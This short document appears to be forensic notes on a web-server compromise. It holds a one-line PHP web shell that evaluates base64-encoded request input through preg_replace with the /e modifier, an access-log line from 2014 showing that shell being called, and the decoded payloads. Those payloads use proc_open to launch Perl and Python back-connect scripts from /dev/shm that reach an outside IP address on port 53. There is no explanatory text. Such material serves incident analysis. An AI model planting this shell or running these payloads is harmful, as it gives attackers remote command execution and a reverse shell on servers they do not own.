@preg_replace('/1/e',base64_decode($_REQUEST['O']),1);

<?php @preg_replace('/1/e',base64_decode($_REQUEST['O']),1);?>


171.213.60.19 - - [18/Jul/2014:00:26:35 +0900] "GET /data/.php?O=JHByb2M9cHJvY19vcGVuKCJjZCAvZGV2L3NobTtscyAtbDtwZXJsIGNvbWViYWNrLnBsIDIzLjIyOC4yMzUuMTcxIDUzO2xzIC1sIiwKICBhcnJheSgKICAgIGFycmF5KCJwaXBlIiwiciIpLAogICAgYXJyYXkoInBpcGUiLCJ3IiksCiAgICBhcnJheSgicGlwZSIsInciKQogICksCiAgJHBpcGVzKTsKcHJpbnQgc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOzs7 HTTP/1.0" 200 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0"


$proc=proc_open("cd /dev/shm;ls -l;perl comeback.pl 23.228.235.171 53;ls -l", array( array("pipe","r"), array("pipe","w"), array("pipe","w") ), $pipes); print stream_get_contents($pipes[1]);;;



$proc=proc_open("ls -l /usr/bin/python2.6;cd /dev/shm;ls -la;/usr/bin/python2.6 back.py 23.228.235.171 53", array( array("pipe","r"), array("pipe","w"), array("pipe","w") ), $pipes); print stream_get_contents($pipes[1]);;